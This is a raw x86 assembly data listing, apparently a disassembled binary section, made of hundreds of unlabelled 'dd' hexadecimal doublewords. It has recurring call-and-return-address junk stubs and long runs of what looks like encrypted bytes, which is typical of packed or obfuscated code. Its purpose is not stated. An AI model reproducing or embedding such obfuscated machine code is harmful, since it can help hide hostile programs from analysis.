		dd 0B58918F5h, 62B0A59h, 9D890689h, 62B2D81h, 1EB5858Bh
		dd 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0D69BD0C3h, 53B661D1h, 0E917DDA0h, 9, 0B6684C11h
		dd 8CA6BA44h, 446893Eh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 30C35343h, 0F88A233Ch, 13850F50h, 0E9000000h
		dd 0Eh,	15D9E148h, 9F3B3AC9h, 8E64B6C8h, 34895E2Fh, 57D9BB24h
		dd 0B5FF475Ch, 62EB5A8h, 4E8F5h, 3FF0000h, 9E8001Fh, 0B0000000h
		dd 91E2D64Ah, 0BF89E84Ch, 6840Fh, 820F0000h, 0
		dd 14E8505Fh, 0CF000000h, 0E1DB69ABh, 0FE9CD06Ah, 9B4FBD1Ch
		dd 941D11B7h, 0B333FBD8h, 448B5FADh, 0BF660424h, 8B5105h
		dd 4489FA8Bh, 12E90424h, 0BF000000h, 9804750Fh,	0D07FA7B3h
		dd 0EBBDE01Bh, 0C9FB1E6Ch, 0FA8B5890h, 0B5B0858Dh, 6A062Eh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 1FEE1BC3h, 0C1142E74h, 8D2952B8h, 62B2F69h, 11E850h
		dd 863E0000h, 2915B93Ch, 0DA2A9865h, 6CB4FD50h,	50873931h
		dd 6E9h, 7AC42C00h, 5B18CCCFh, 2404895Bh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 0C5C35242h, 0F58E6F2Fh
		dd 91D95FFh, 0BD8B062Bh, 62B0561h, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0FE8E7E4h
		dd 93000000h, 0C2367F9Dh, 7BF05BDh, 0C794F209h,	5FFC17DBh
		dd 85C7D98Bh, 62B2BE5h,	3, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 2EC35343h, 2DFBB2DEh,	9589D86Ch, 62B1FA1h
		dd 0BD83D98Bh, 62EB5B0h, 4F840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0F194C351h, 47E96Bh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 24CE03C3h, 0BB27B90Eh
		dd 2195C89Ch, 1F119D8Bh, 3050062Bh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0E9C5D069h
		dd 0Eh,	0E8A526B3h, 0D5E9EB28h,	0D9901ED3h, 9D89F916h
		dd 62B062Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0EFC35141h, 2D001110h, 0CA3EA813h, 0BD83D88Bh
		dd 62B2BE5h, 0A9850F03h, 6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0E7C5C351h
		dd 0B5B0BD83h, 0F00062Eh, 47F84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 9D8B81BBh
		dd 62B2B79h, 0B5B0B5FFh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 541359C3h, 7C7386CFh
		dd 7595FFFFh, 6A062B01h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 1C13C350h, 2ABDBD8Bh
		dd 8D89062Bh, 62B0F21h,	0CE9h, 0EBCA7100h, 99C772C3h, 0D20210AAh
		dd 0A4B58B8Bh, 0F8062EB5h, 106C7h, 6A0001h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 96A0A3C3h
		dd 5870Fh, 0F6BB0000h, 5019E446h, 0EC8A6060h, 0DE8h, 0BAEF8400h
		dd 22B716DFh, 3702FFF2h, 6159FB21h, 9661F18Bh, 1DA1B509h
		dd 0B5FF062Bh, 62EB5B0h, 16DD9D8Bh, 95FF062Bh, 62B1555h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 36C35040h
		dd 26EA8E39h, 8BDFBF0Fh, 2B081DBDh, 0A4B58B06h,	89062EB5h
		dd 2B25E195h, 0D9858B06h, 6A062B1Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0DFE7C357h
		dd 0E9D3C0BDh, 9, 33B187A9h, 58D444B8h,	0C4868908h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 49ABC352h, 7E9h, 0DA8EE900h, 6167CBCh, 0EE1958Bh
		dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0C83402C3h, 8589B0B5h, 62B24C1h, 68B0Fh
		dd 8D290000h, 62B0A11h,	6A04C283h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 69FCC351h
		dd 0C56BF2F6h, 29E3EE57h, 2B07D18Dh, 0FE95306h,	30000000h
		dd 29D1CDEh, 0D60AD89Dh, 0DDE2EAA2h, 8B5FBED1h,	2B2611BDh
		dd 20508906h, 323D8509h, 858D062Bh, 62ECA4Eh, 1219D8Bh
		dd 0BB66062Bh, 8689B4C4h, 0B8h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 30C35545h, 6AD98Bh,	12E9h
		dd 51DB3900h, 0B6EAFEC2h, 0AD8486D6h, 8DF397C1h, 0FF63FDF9h
		dd 2EB5B0B5h, 662EB706h, 0FFD5D7BBh, 2B05E195h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 1B28B887h, 2CC01098h, 0BE9B5h, 2CB00000h, 0AFACB985h
		dd 0B4D3CB5Dh, 890F506Ah, 5, 9E680ABBh,	24348953h, 0FFDFBF0Fh
		dd 2EB5B0B5h, 0F88B6606h, 156995FFh, 6A062Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 5D0A19C3h
		dd 76426778h, 9DBD83D7h, 62B1Dh, 55840Fh, 12E90000h, 0A3000000h
		dd 0A850FFD0h, 0E8D690B5h, 83C27463h, 680FFCE2h, 0DE896E3h
		dd 61000000h, 9E772A7Fh, 5EF71322h, 6CD62C0Bh, 67B7505Bh
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 795E35B8h, 0DEEB81BFh, 0FF7B1F35h, 2EB5B0B5h
		dd 0BD8B5006h, 62B348Dh, 6DBD095Bh, 0FF062B05h,	2B2E1195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 368CBE25h, 5A531001h, 0D1BD8BD0h, 0FF062B1Ch
		dd 2EB5B0B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8166BA4Ch, 0FF475DE3h, 2B240D95h
		dd 0B99D8906h, 83062B2Fh, 2B2E29BDh, 840F0206h,	79h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 26C35141h, 0B70F6678h
		dd 0EE853D8h, 0B2000000h, 221741ECh, 75798492h,	862546CEh
		dd 8E0FA9h, 5F000000h, 39858B5Bh, 6A062B2Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0F546C352h, 0FBB70F56h, 0F0000C6h, 0C8Dh, 68D0F00h
		dd 0F000000h, 84h, 2585C700h, 62B09h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 881DC351h, 56A7246Dh, 530C9B36h, 0FFF1A0E9h,	58D89FFh
		dd 8B062B12h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 1B705CDBh, 0E8A8BF40h, 5,	871D82A7h
		dd 17830F65h, 0E9000000h, 12h, 0F28B4569h, 99EF79AEh, 449EC102h
		dd 0A7F19862h, 0E95FDA1Dh, 25h,	6D410FA6h, 8 dup(0)
		dd 538E900h, 0EE6F0000h, 9AC1DEDAh, 4B116EAAh, 0E75EB975h
		dd 0B4AAC5C1h, 34EB1692h, 118DB7ABh, 0A66264F6h, 0F02C1049h
		dd 3FFBDD97h, 8A2CE5Dh,	7D92C426h, 0C781E3C7h, 461B76E1h
		dd 0A5F88B02h, 0F8BBDh,	0C0C56775h, 0A6B894EBh,	0C0812B39h
		dd 6AF494EBh, 0C2E45CA3h, 37D292E9h, 0ACB21923h, 0F164BB10h
		dd 1E17FCCFh, 0EACC842Ah, 0E362212Eh, 0D6F06AC5h, 6E97C8D7h
		dd 7E4016EBh, 7DA209E2h, 20EEC7AEh, 309F3B57h, 0F4351355h
		dd 5468F10Eh, 0F2D48C0Bh, 0F5880119h, 851B4A6h,	404F9834h
		dd 9C59E283h, 0F1840565h, 9643B6AAh, 26E5CFDh, 2D705BF7h
		dd 0C8B81335h, 0CFE7155h, 0E8713509h, 85BFD8D4h, 1F5934A3h
		dd 5D4CD239h, 3A7702CEh, 0E75894EBh, 0D37BF723h, 0A1237D97h
		dd 24000000h, 9B9DB779h, 0FDB780C4h, 23A766C0h,	0AE1C781h
		dd 0EBC03AC6h, 0AD97C794h, 0A740035Eh, 9E6D89B3h, 0DC9377EEh
		dd 0CF930E59h, 810816F5h, 0B3FEA498h, 0BBDF219Fh, 25DC73C6h
		dd 8CBE659Ah, 541EB970h, 87D97D3h, 1, 29DA81CAh, 0A2BC0F31h
		dd 0FBA6A506h, 843EAD50h, 859C0D5Fh, 0BE1DEEDEh, 414AA187h
		dd 4B7DE3BEh, 2DDFED60h, 2094EBD7h, 0F26BA23Eh,	83C5980Eh
		dd 9D68E807h, 903FB403h, 0FF623D89h, 0C05CE2C9h, 1B3C5BC4h
		dd 7987CA21h, 94EBBDF7h, 0F78948Ah, 0C5071547h,	2BAF5E5Ah
		dd 4E7D981h, 49A2A2B9h,	2D8145FEh, 0AAC035h, 28FCDD60h
		dd 7DF7108Ch, 372D705Bh, 941622h, 71E994EBh, 0E110F6D5h
		dd 9F85F11Dh, 44437D97h, 2BE02913h, 72h, 0D6E271B7h, 94EBC054h
		dd 30463129h, 7AAF25Ch,	0B4F525Bh, 0D187DA31h, 0FA16282Ch
		dd 0AC8ACA11h, 645E005Fh, 0B397AC87h, 685CD53Ch, 0B14BC7B2h
		dd 59CCECE3h, 0A96046FEh, 0C23E0056h, 1748BDA5h, 2440DE2Dh
		dd 1CF978C7h, 5E60224h,	0E210F40Dh, 7D97D798h, 572Ch, 0D981AE00h
		dd 0BD0E3024h, 0A8C4FA5Eh, 0FF60BF0Ch, 360FE6C5h, 0C0FA5C52h
		dd 1271D0C4h, 0C1EF784Eh, 94EBC02Fh, 0B2CD3C22h, 1F3299AFh
		dd 683F5290h, 0EB2291DBh, 0EBF354E5h, 8BADA794h, 8384DD20h
		dd 7B07E4C0h, 0EE070CDFh, 9122571Ah, 0CE581ADh,	1997D97h
		dd 45000000h, 6E5DB81h,	0B2F1BC4Bh, 0A5C88828h,	5D812B35h
		dd 6AF494EBh, 0C2E45CA3h, 0ECBEE695h, 5CE7B18Ch, 10943A13h
		dd 0C8C1A834h, 39C44B35h, 9DEC9EAAh, 0F96194EBh, 0EB9D5DEFh
		dd 0FF2E3094h, 0C1DC8246h, 344AA187h, 90B6AAF5h, 48A51514h
		dd 4F15701Fh, 0A4F9279h, 0AD9A36h, 36A64AB9h, 1B7A1697h
		dd 328AC6F3h, 73E4A32Ch, 6ECD4049h, 0BBD4D0F6h,	0C4FE5CB9h
		dd 0EC3F5BE7h, 3EE350E0h, 4C30356Dh, 0CCC8EE66h, 3497B1B3h
		dd 62496FE9h, 83913C13h, 6D3EE3E9h, 4755829Ch, 6D3EE3A5h
		dd 0DE4746D8h, 0AA8CC4EAh, 0FCFD696Eh, 0F7A1776Bh, 2D000000h
		dd 4A111F6Fh, 0BE89917Ah, 0AABF9AA5h, 70DF7B7Fh, 0C6AD4D64h
		dd 0CD1E008Ah, 0D4D0F66Eh, 0FA5CB9BBh, 3B57EBC0h, 0EDCB8DD0h
		dd 0B296CF1Eh, 0A66244FCh, 6C4B3531h, 50E977h, 6FF50000h
		dd 0F984D320h, 326F588Ah, 494080B9h, 0EBFCC547h, 62F99414h
		dd 56C8AB62h, 0FCD55775h, 203414EBh, 0E86ECD1Eh, 0E710F5D6h
		dd 0AD444C23h, 64CC3BD9h, 23ACC8F2h, 0EBFCFB15h, 94100E94h
		dd 798Fh, 0B9A5E000h, 45223C8Fh, 0BFC3281Ch, 1F6F484Eh
		dd 97744811h, 0A5E06F8Bh, 2C2388BCh, 0EBC06E00h, 0E37FE394h
		dd 5819272Ah, 0DB753924h, 0C70A89ACh, 6D9CFE7Fh, 0E43B908Eh
		dd 314E4A6Ch, 16BA1137h, 6D3F2E89h, 3F7357ECh, 66E72305h
		dd 628ED916h, 730FC988h, 338E5DFDh, 0CDC81731h,	0A477B696h
		dd 0C77D41F4h, 0DFED7A77h, 797E306Dh, 0C251FE60h, 9EE234B6h
		dd 0D8D14979h, 271766Ah, 0E54D852Fh, 0A65756EEh, 23CE1956h
		dd 8D5CC774h, 0C6C70E36h, 0DB8F60CAh, 2685958Ah, 0D7E96C2Bh
		dd 5CA36AF4h, 0A9C6C2E4h, 2D0B4AAFh, 0CF963A91h, 0BA19CAF2h
		dd 0F44BA0A6h, 2F725963h, 6194162Ah, 22DBCA9Dh,	2E08485Eh
		dd 0F5D395F2h, 0AC88CB16h, 0D4A8AD5Fh, 0D4F0732Eh, 5FA26BF7h
		dd 674100E5h, 0F15EFA84h, 34F5D392h, 0D237314Eh, 0CF1CB88Eh
		dd 0A84h, 0C79AF900h, 95142A81h, 817A5EF1h, 0BC03E8DCh
		dd 0F249A284h, 2D705B6Dh, 69B41731h, 0A1FCCFF1h, 0D92487B9h
		dd 0E6DBE9Eh, 4897744Ah, 8D83315h, 81E28952h, 4C2h, 4BB5300h
		dd 29000000h, 14875BDAh, 9685C24h, 89000031h, 8952241Ch
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2434895Ch, 0E6EEBE56h
		dd 5B56062Fh, 348B545Eh, 4C48324h, 53DF8957h, 5E89FB89h
		dd 8B5F5B08h, 89562434h, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 241C8B5Ch, 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FB939FE9h
		dd 90AB18FFh, 2806408Ch, 63D0D7C9h, 9CB8D01Ch, 3062FEBh
		dd 5AE0FFC5h, 473BFCCBh, 35A5440h, 605814ADh, 2700802h
		dd 27A125Bh, 5C325FFDh,	0A96BC1A3h, 0F60D064h, 0BF32F89Bh
		dd 2131FCB9h, 737E0E37h, 118D18Fh, 2B18B1B3h, 0C56508B7h
		dd 1750701Fh, 465C687Fh, 0EC35EC58h, 75696FA7h,	6317E008h
		dd 733DB51Bh, 2B5CF3F1h, 5F37D999h, 43481385h, 9118A9B5h
		dd 8373ADB3h, 0BB5C08CFh, 8D08F459h, 2B2FC185h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 85651462h, 14E998h, 0B06B0000h, 0A426801Bh, 0FA4BD551h
		dd 0DEA2421Bh, 3C554B9Eh, 8956C616h, 2B21A195h,	8A905F06h
		dd 0BE850FEh, 71000000h, 0E9DCB85Bh, 0BD8393A0h, 0BB66559Ch
		dd 905B7D91h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	69C35242h, 3A747FEh, 1ABB2F00h,	6A5F49FAh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0A1B9702Ah, 0C9222CF7h, 6AF949h, 115BD2Bh, 858D062Bh
		dd 62FEE84h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0A2C35545h, 649DB663h, 0AB4C9AEFh, 0F88B6634h
		dd 6A05C083h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 30D7C350h, 0B70972A5h,	0D235D49Fh
		dd 45D38166h, 8B66509Ah, 240489FEh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 95C35343h, 0B70F006Ah, 3FBF66FAh
		dd 0B7006ACFh, 0E195FF36h, 81062B34h, 0E7E6FAC3h, 0AA8D8D55h
		dd 6A062EA6h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0FB29C352h, 9D2C6832h,	0BD33CCD2h
		dd 62B0B01h, 0DA8BD1FFh, 0A01BD83h, 0F01062Bh, 5B85h, 0A8BF6600h
		dd 81026A24h, 0EB324FDFh, 5E9507Ah, 81000000h, 0B2AFFB24h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0BE9FC355h, 5E195FFh, 6A062Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 48F8B6C3h, 0D79E9h, 0E800h, 815D0000h, 2FEE8EEDh, 0FDB52906h
		dd 6A062B26h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 8292C353h, 79D8721Ah, 66CB4E61h
		dd 858DDF8Bh, 62E993Ah,	90D98B66h, 8A50A1B7h, 0D88B90DEh
		dd 35FF64h, 0B7000000h,	25896454h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 7DC35141h
		dd 8E0FF474h, 9, 3890Fh, 0B70F0000h, 0D85FFDEh,	29062B1Eh
		dd 2B34C595h, 319D8B06h, 6A062B2Bh, 0B5FFF5FFh,	62B2EF1h
		dd 11A995FFh, 0FEE9062Bh, 89000000h, 2B1721BDh,	900B006h
		dd 2B064D8Dh, 8070E606h, 71E490D7h, 580A7ABBh, 0F613C78h
		dd 0DC83h, 0C5B52900h, 0F062B08h, 8166C8B6h, 0BAAFE2CBh
		dd 6, 6890Fh, 0CB810000h, 53990C50h, 0EBB7C18Bh, 6604E8C1h
		dd 0A1F4DF81h, 0F766D98Bh, 38C0FE2h, 66000000h,	0C82BFA8Bh
		dd 6850F57h, 89000000h,	2B0B11BDh, 0D18B5B06h, 68D0FF8h
		dd 8B000000h, 2B1839BDh, 7FE906h, 72BF0000h, 8B42CBD6h
		dd 185h, 59B58900h, 83062B27h, 0FE8B07C0h, 0F900C083h
		dd 8AD78166h, 0FD03B92h, 1A83h,	0AE900h, 0EE120000h, 28F6EFF0h
		dd 0FADB8C59h, 44E9h, 82C38100h, 8B132C66h, 0FFFFFF8Dh
		dd 9DBD8BFFh, 8B062B10h, 2B15F19Dh, 1E18306h, 23840Fh
		dd 31530000h, 2B0A8595h, 0A5835F06h, 0FFFFFFFFh, 9BD01FEh
		dd 89062B19h, 195h, 0DAB70F00h,	0E9h, 1CB58D00h, 66062F63h
		dd 0C5A2E781h, 0B501006Ah, 62B084Dh, 294595FFh,	0B9FC062Bh
		dd 0F7Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0CBC35242h, 95E381C7h, 83622CF2h, 6AFCE1h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0E9FCE3C3h, 8, 268A80Dh, 44EAF4BAh, 6AC02Bh,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0F6BECFC3h, 0BAh, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 2A8CBBE1h, 33AD0835h
		dd 3E8D1C2h, 4E983D0h, 8B60F475h, 2B0FC19Dh, 0AB11BF06h
		dd 60610B46h, 373AC081h, 8C0F4BB1h, 17h, 12E9h,	0F9790000h
		dd 0DD052BC1h, 0B4AFED2Ah, 855624D6h, 6186B28Bh, 880Dh
		dd 0E1958B00h, 0F062B0Eh, 682h,	0B3CB8100h, 81719EADh
		dd 0BA45ECC3h, 0E18D8B22h, 66062B21h, 8B5CB8BBh, 2B2F819Dh
		dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0AAEC355h, 0BD03472Ch, 62B013Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2C35242h, 934B8C69h
		dd 8326539Ch, 2B05A9BDh, 840F0006h, 42h, 449CBB66h, 0B8h
		dd 0A18D8D00h, 6A062B4Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0F0F4C356h,	3F8968B5h
		dd 0A9BF662Dh, 0F73BBB0Bh, 0E1FF1D72h, 30898589h, 0BD83062Bh
		dd 62B2BE5h, 3A840F00h,	6A000005h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 8C53C350h
		dd 0E5BD83B5h, 1062B2Bh, 52A840Fh, 0C7810000h, 51D0889Dh
		dd 2BE5BD83h, 0F03062Bh, 4E186h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 4A0F0E02h
		dd 0BB3D43EBh, 381F1B2Dh, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 209670A1h
		dd 8BC398F4h, 0D98C66F8h, 7E9h,	0D1E41500h, 53A88EC7h
		dd 6A04E180h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 99EC351h, 9409110Bh, 12E894h
		dd 0A46A0000h, 5F1C6E5h, 360A387Bh, 0F761A067h,	8BE18A6Ch
		dd 5BFAB70Fh, 840FC90Ah, 181h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 95C35747h, 756D6B1Ah, 0F9B70F5Ah
		dd 91BD8Bh, 858B062Bh, 62B1EB5h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 15h, 9EC35545h, 9858932h, 33062B2Ch
		dd 2B258D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 7DA2DBD4h, 7958D29h, 8951062Bh, 2B052195h
		dd 50905F06h, 0E8310F52h, 0Eh, 75201DC5h, 0B6AE793Fh, 0E05C2BF2h
		dd 6160D8F4h, 50585A5Bh, 50D301BBh, 6A9000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0E02817C3h
		dd 3411DCC0h, 0F9B0551h, 68Eh, 0F5D78100h, 6A4C1B89h, 8BFB8B00h
		dd 2B17F5BDh, 0B6676806h, 0DE8B001Ah, 98243481h, 6A0005B5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 98B4C350h, 91D95FFh, 6A062Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 9F94CAC3h
		dd 0C75106EBh, 800F7A0Eh, 0Ch, 6840Fh, 95290000h, 62B2049h
		dd 89DBB70Fh, 2EB5B085h, 0F8B70F06h, 2ABE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 38CD7180h, 0BE1AC69Ch, 0A8858B1Bh, 6A062EB5h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 3A18C352h, 85748CE4h, 7E9h, 304D9000h, 789B02BBh, 1800C7h
		dd 0BD090000h, 62B288Dh, 5EC38166h, 0ACB58BE7h,	6A062EB5h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0F4EAC355h, 6786CB5Ah, 29D2BC70h,	2B2E0D8Dh
		dd 0C5858B06h, 6A062B16h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 1C7C351h, 0E8068937h
		dd 0Fh,	3C8B8F9Eh, 0A456A54Ch, 0A9147601h, 660FFA17h, 8B5FD98Bh
		dd 2B1EB585h, 0DABF0F06h, 8C0Fh, 46890000h, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 7D280A42h, 0D9078FCAh, 9D8998C3h, 62B0969h, 60605096h
		dd 0FE8h, 8C329700h, 0A7E9DD6Ah, 0E95C4285h, 0C0C34120h
		dd 6161605Eh, 0BE9h, 552E9700h,	3BD21261h, 343B1B7h, 0C1BF9661h
		dd 5129DB15h, 0C1DB8166h, 0B5FF5FD9h, 62EB5A8h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 33C35343h, 0AAE2990Fh
		dd 0DE9E14Bh, 86000000h, 7C2D4B36h, 0E0055411h,	0F6997C7h
		dd 10E9h, 0B9C02300h, 0E63042D1h, 7870FE1h, 99BF7701h
		dd 4E832h, 3FF0000h, 810F001Fh,	0Ch, 6890Fh, 52500000h
		dd 585A310Fh, 24448B50h, 8BD0B304h, 0E8525000h,	0Fh, 6D6A3C29h
		dd 7456B53Eh, 3D422C97h, 5F5613F3h, 0E960310Fh,	0Dh, 5DD2EEFh
		dd 1630129Fh, 979A1092h, 7ABE66C2h, 585A61D3h, 4244489h
		dd 6A58F88Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0D4EFC356h, 0B0858D05h, 6A062EB5h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0F615C353h, 43945E96h, 0DDB81B4h,	9028E196h
		dd 13E9h, 0EFEFE00h, 0CB756473h, 45A1B72Bh, 404A42B3h
		dd 16E5B4D4h, 4ABF6650h, 0E957903Eh, 0Fh, 6FF5C946h, 0ACEE16B4h
		dd 4952D6FAh, 5F9EB0C8h, 91D95FFh, 6A062Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0F9AFE8C3h, 625019EFh, 8D29D98Bh, 62B0D31h, 0E585C761h
		dd 3062B2Bh, 66000000h,	0BD83D88Bh, 62EB5B0h, 1B840F00h
		dd 0E9000000h, 0Bh, 0F47D9AB6h,	0A9712407h, 0E9924D0Ah
		dd 21h,	163D9D8Bh, 3050062Bh, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 77EFD7BEh, 68B0F4Dh, 81000000h
		dd 66A75AE3h, 0E5BD8326h, 3062B2Bh, 435850Fh, 0BD090000h
		dd 62B0B51h, 34ADB589h,	0BD83062Bh, 62EB5B0h, 1C840F00h
		dd 0E9000004h, 12h, 0A6F2B63h, 84EAB453h, 0E5742C11h, 2D26ABD6h
		dd 0B5FFAD29h, 62EB5B0h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 0A9C35242h, 93D19842h, 5E9A2h, 0B1C30000h
		dd 0FFA79217h, 2B017595h, 8BFA8B06h, 2EB5A4B5h,	8D9D0306h
		dd 0C7062B34h, 1000106h, 8E95000h, 2D000000h, 209F7F4h
		dd 8987F5D1h, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 2391E3C3h, 0DF005316h, 0BFBF661Ch
		dd 0FE96067h, 78000000h, 0C20F760Ah, 4916695Ch,	2E90FD54h
		dd 11E8C738h, 58000000h, 0CD0A29F0h, 76166CC3h,	17F5E43h
		dd 7CA423BFh, 2A958589h, 615F062Bh, 0B5B0B5FFh,	6A062Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0E27443C3h, 0DD86677h, 4AADFBBBh, 98A0F3Bh, 0F000000h
		dd 382h, 0FFBF0F00h, 155595FFh,	0B58B062Bh, 62EB5A4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 13C35040h, 2E19B589h
		dd 858B062Bh, 62B1AD9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 93C35747h, 8BC99E2Ch,	2B2601BDh, 0C4868906h
		dd 0E9000000h, 14h, 5A5AFD06h, 0BAA568B1h, 51DB39DDh, 0B6EAFEC2h
		dd 0AD8486D6h, 8BFABF0Fh, 2B0EE195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 49A58143h
		dd 9004ADD9h, 8E0F02CFh, 14h, 0E880Fh, 8E80000h, 42000000h
		dd 357FB21Ah, 5F54BD0Bh, 79B58960h, 89062B33h, 2B0A3195h
		dd 0C2836106h, 0EDEB8004h, 66205089h, 8D3CE2BBh, 2ECA4E85h
